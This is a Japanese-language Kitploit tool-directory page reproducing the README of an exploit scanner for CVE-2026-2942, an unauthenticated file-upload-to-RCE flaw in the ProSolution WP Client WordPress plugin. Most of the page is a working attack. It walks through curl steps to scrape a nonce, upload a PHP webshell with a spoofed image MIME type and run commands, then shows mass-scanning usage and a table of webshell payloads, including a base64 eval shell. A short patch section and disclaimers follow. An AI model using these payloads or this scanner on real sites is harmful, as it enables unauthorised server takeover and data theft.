Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-2942 — ProSolution WP Client (CVE-2026-2942) の未認証の任意ファイルアップロードおよびリモートコード実行の自動スキャナー。マルチスレッドスキャン、MIMEスプーフィング、シェル検証、プロキシサポートを備え、ペネトレーションテスト用です。 | Kitploit
ツール/GitHubGitHub/xxconi/cve-2026-2942
脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ペイロード開発
GitHubxxconi/cve-2026-2942

CVE-2026-2942

ProSolution WP Client (CVE-2026-2942) の未認証の任意ファイルアップロードおよびリモートコード実行の自動スキャナー。マルチスレッドスキャン、MIMEスプーフィング、シェル検証、プロキシサポートを備え、ペネトレーションテスト用です。

リポジトリを見る
13ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ProSolution WP Client — 認証なしファイルアップロード & RCE スキャナー

プラグイン: prosolution-wp-client
影響を受けるバージョン: <= 1.9.9
脆弱性の種類: 認証なし任意ファイルアップロード → リモートコード実行
リスクレベル: 🔴 重大 (CVSS 9.8)
必要条件: [prosolfrontend] ショートコードを含む公開ページ


📌 脆弱性について

ProSolution WP Client プラグインの proSol_fileUploadProcess AJAX アクションは、 アップロードされたファイルの MIME タイプをチェックしますが、拡張子は検証しません。 攻撃者は .php 拡張子のファイルを image/jpeg MIME タイプで送信することで、 サーバーに 認証なしで webshell をアップロードできます。

攻撃チェーン

root@kitploit:~
[prosolfrontend] ショートコードページ
        │
        ▼
1. prosolObj.nonce → 公開ページから取得(認証不要)
        │
        ▼
2. POST /wp-admin/admin-ajax.php
   action=proSol_fileUploadProcess
   security=<nonce>
   files[]=shell.php  (Content-Type: image/jpeg)  ← MIME スプーフィング
        │
        ▼
3. /wp-content/uploads/prosolwpclient/[random].php として保存される
        │
        ▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
        │
        ▼
5. uid=33(www-data) → 認証なし RCE ✓

🧪 Proof of Concept(手動)

⚠️ 免責事項: この PoC は教育目的および防御的なセキュリティ研究の 目的でのみ提供されます。所有するシステム、または明示的な書面による テスト許可を得たシステムに対してのみ使用してください。

前提条件

  • WordPress がインストールされ、prosolution-wp-client プラグインが有効(バージョン <= 1.9.9)
  • [prosolfrontend] ショートコードを含む公開済みの WordPress ページ

ステップ 1 — Nonce の取得

[prosolfrontend] ショートコードを含む任意の公開ページにアクセスし、 ソースコードから prosolObj.nonce の値を抽出します:

root@kitploit:~
TARGET="https://target.example.com"

NONCE=$(curl -s "$TARGET/jobs" \
  | grep -oP '"nonce"\s*:\s*"\K[^"]+')

echo "Extracted nonce: $NONCE"

ソースコード内で探す構造:

root@kitploit:~
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
    "ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
    "nonce": "a1b2c3d4e5",
    ...
};
</script>

ステップ 2 — PHP Webshell の作成

root@kitploit:~
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php

ステップ 3 — MIME スプーフィングによるアップロード

.php ファイルを image/jpeg Content-Type で送信します:

root@kitploit:~
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -F "action=proSol_fileUploadProcess" \
  -F "security=$NONCE" \
  -F "files[]=@/tmp/shell.php;type=image/jpeg" \
  | python3 -m json.tool

期待されるレスポンス:

root@kitploit:~
{
  "files": [
    {
      "name": "shell.php",
      "size": 31,
      "url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
      "newfilename": "a3f8b2c1d9e4f7g2.php",
      "rename_status": true,
      "extension": "php"
    }
  ]
}

"extension": "php" と "rename_status": true → .php ファイルが正常に保存されました。


ステップ 4 — RCE の実行

root@kitploit:~
SHELL_FILE="a3f8b2c1d9e4f7g2.php"   # ステップ 3 の newfilename

curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"

期待される出力:

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ 認証なし RCE が達成されました。


🛠️ 自動スキャナーのセットアップ

root@kitploit:~
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 使用方法

単一ターゲット

root@kitploit:~
python prosol_upload.py -u http://hedef.com

シェル検証付き

root@kitploit:~
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"

一括スキャン

root@kitploit:~
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt

プロキシ経由(Burp Suite)

root@kitploit:~
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080

カスタムシェルタイプ

root@kitploit:~
python prosol_upload.py -u http://hedef.com --shell-type full

⚙️ パラメーター

パラメーター短縮説明デフォルト
--url-u単一ターゲットの URL—
--list-lターゲットリストファイル—
--threads-tスレッド数10
--output-o出力ファイルuploaded.txt
--shell-name—アップロードするファイル名shell.php
--shell-type—シェルのタイプsystem
--verify—アップロード後の RCE テストFalse
--verify-cmd—検証コマンドid
--proxy—プロキシ URL—
--timeout—リクエストタイムアウト(秒)10

💀 シェルタイプ

タイプPayload説明
system<?php system($_GET["cmd"]); ?>基本的なシステムコマンド
passthru<?php passthru($_GET["cmd"]); ?>生の出力
exec<?php echo exec($_GET["cmd"]); ?>サイレント実行
assert<?php assert($_POST["cmd"]); ?>POST による eval
b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64 難読化
fullshell_exec + system + exec fallbackフル機能のシェル

📂 シェルのアップロード先

root@kitploit:~
WordPress ルート/
└── wp-content/
    └── uploads/
        └── prosolwpclient/
            └── [random_hex].php   ← シェルはここ

📊 スキャナーの出力ステータス

ステータス説明
★ UPLOADEDシェルが正常にアップロードされました
✓ RCE OKシェルが検証され、コマンドが実行されました
- BLOCKEDサーバーが PHP 拡張子をブロックしました
~ TIMEOUT接続タイムアウト
~ CONN_ERR接続エラー
! HTTP_ERRHTTP エラーコード

🖥️ スキャナー出力例

root@kitploit:~
[*] 3 ターゲット | ProSolution File Upload | threads=10

[★ UPLOADED ] http://hedef1.com
  Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
  新しい名前   : a3f8b2c1d9.php  (renamed=True)
  [✓ RCE OK ] cmd 出力: uid=33(www-data) gid=33(www-data)

[- BLOCKED  ] http://hedef2.com  ext=jpeg
[~ TIMEOUT  ] http://hedef3.com

───────────────────────────────────────────────
  UPLOADED            :    1  █
  BLOCKED             :    1  █
  TIMEOUT             :    1  █
───────────────────────────────────────────────
  アップロードされたシェル → uploaded.txt
───────────────────────────────────────────────

🛡️ 防御 / パッチ

対策実装
PHP 実行の防止uploads/ ディレクトリに .htaccess を追加
プラグインの更新バージョン > 1.9.9 にアップグレードするか削除
拡張子ホワイトリストサーバー側で許可された拡張子のみ
MIME 検証finfo_file() による実際のコンテンツチェック
WAF ルール.php アップロードリクエストをブロック

uploads/ ディレクトリ用の .htaccess:

root@kitploit:~
<FilesMatch "\.php$">
    Deny from all
</FilesMatch>

⚠️ 法的免責事項

このツールおよび PoC は、権限のあるシステムに対して教育目的および
ペネトレーションテストの範囲内でのみ使用できるよう作成されています。
無許可のシステムでの使用は、トルコ刑法第 243〜245 条および 国際的なサイバー犯罪法に基づき犯罪行為とみなされます。
開発者は、ツールの悪用によって生じるいかなる法的責任も負いません。


📄 ライセンス

MIT License — 教育および研究目的のみを対象としています。

ツールをダウンロード